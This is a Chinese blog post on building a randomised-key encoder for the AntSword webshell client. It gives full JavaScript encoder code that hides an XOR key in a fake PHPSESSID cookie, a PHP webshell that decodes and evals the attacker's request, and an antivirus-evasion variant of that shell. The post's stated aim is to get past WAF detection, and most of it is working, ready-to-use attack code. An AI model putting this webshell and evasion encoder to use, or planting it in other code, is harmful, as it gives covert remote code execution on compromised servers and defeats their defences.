文章详情
基于随机Cookie的蚁剑动态秘钥编码器
前言
在上一篇蚁剑实现动态秘钥编码器解码器中,本人为了规避握手交换秘钥的特征,采用了利用时间生成随机秘钥的办法。
但是在实际使用的过程中还是会出现各种各样的玄学BUG,导致利用失败,我个人不是特别满意。
研究了一下蚁剑编码器的ext参数后,决定采用利用随机Cookie来产生随机秘钥的方式。
正文
编码器的ext参数
本来等蚁剑作者编码器的第三篇,结果一直没等到。。。
算了还是自己研究一下吧
首先新建一个编码器,名字叫test吧
加入一行console.log(ext.opts.httpConf);
然后随便连接一个shell,打开开发者工具,可以看到已经打印出了我们所需要的信息
包括shell请求的body跟headers头
抓包看一下,headers头的结果跟抓包的结果是一致的
那么我们能否从编码器中修改headers头呢
我们在编码器中加入一行
ext.opts.httpConf.headers['User-Agent']='yzddMr6';
可以看到我们已经成功修改了shell中UA的值。
同理,我们也可以在编码器中对其他header头或者body进行修改。
随机生成Cookie
既然我们已经可以任意修改shell的请求信息,我们就可以把秘钥放在一个指定的headers字段里,shell获取后再对payload进行加解密。
但是突然多出来一个奇奇怪怪的字段,长时间后就会变成waf识别的特征。
那么有没有什么是变化的,并且很常见的headers头呢?
我们就可以想到利用Cookie。
参考蚁剑的aes编码器,它所采用的方法是人工首先访问shell生成一个sessionid,填入shell配置后作为后面通讯的秘钥。
但是实际上因为我们已经可以控制cookie字段,我们完全可以在编码器中每次生成一个随机的cookie,这样就省去了人工操作的一步。
有一个坑要注意,php的session id一般是26位的,所以我们最好也生成一个26位的秘钥,增强伪装性。(虽然可能并没有什么卵用)
具体实现
编码器
'use strict'; //code by yzddmr6 module.exports = (pwd, data, ext = {}) => { let randomID = `x${Math.random().toString(16).substr(2)}`; function xor(payload) { let crypto = require('crypto'); let key = crypto.createHash('md5').update(randomID).digest('hex').substr(6); ext.opts.httpConf.headers['Cookie'] = 'PHPSESSID=' + key; key = key.split("").map(t => t.charCodeAt(0)); //let payload="phpinfo();"; let cipher = payload.split("").map(t => t.charCodeAt(0)); for (let i = 0; i < cipher.length; i++) { cipher[i] = cipher[i] ^ key[i % 26] } cipher = cipher.map(t => String.fromCharCode(t)).join("") cipher = Buffer.from(cipher).toString('base64'); //console.log(cipher) return cipher; } data['_'] = Buffer.from(data['_']).toString('base64'); data[pwd] = `eval(base64_decode("${data['_']}"));`; data[pwd]=xor(data[pwd]); delete data['_']; return data; }
Shell原型
<?php @$post=base64_decode($_REQUEST['test']); $key=@$_COOKIE['PHPSESSID']; for($i=0;$i<strlen($post);$i++){ $post[$i] = $post[$i] ^ $key[$i%26]; } @eval($post); ?>
免杀处理
<?php class Cookie { function __construct() { $key=@$_COOKIE['PHPSESSID']; @$post=base64_decode($_REQUEST['test']); for($i=0;$i<strlen($post);$i++){ $post[$i] = $post[$i] ^ $key[$i%26]; } return $post; } function __destruct() {return @eval($this->__construct());} } $check=new Cookie(); ?>
连接测试
最后
还是老问题,蚁剑的其他参数只是一层base64,这个就需要大家自己手工去改了。
上一文章:PHP代码审计入门篇bluecms
相关推荐
- 04-05微信新设备登录免验证怎么跳过
- 12-07csrf攻击原理及攻击流程实例演示
- 08-20又懂啦域名由来「www.youdongla.com」
- 06-20黑客经常用的头像,黑客头像图片高清,神秘人
- 09-09网络安全行业入门的职业各项介绍
- 10-28网络安全好就业吗?网络安全的就业前景怎么样
- 05-02网上编程课的哪家好?编程课哪家比较好
- 06-15程序员是吃青春饭的吗
- 02-28如何成为Web开发人员?
- 06-02住宾馆如何防止被摄像头偷拍?
- 03-07专业接单黑客联系方式,网络黑客高手的联系方
- 05-28笔记本电脑太卡怎么办?
- 05-04一个人一个工念什么?上面一个人下面一个工怎
- 11-26编程语言有哪几种?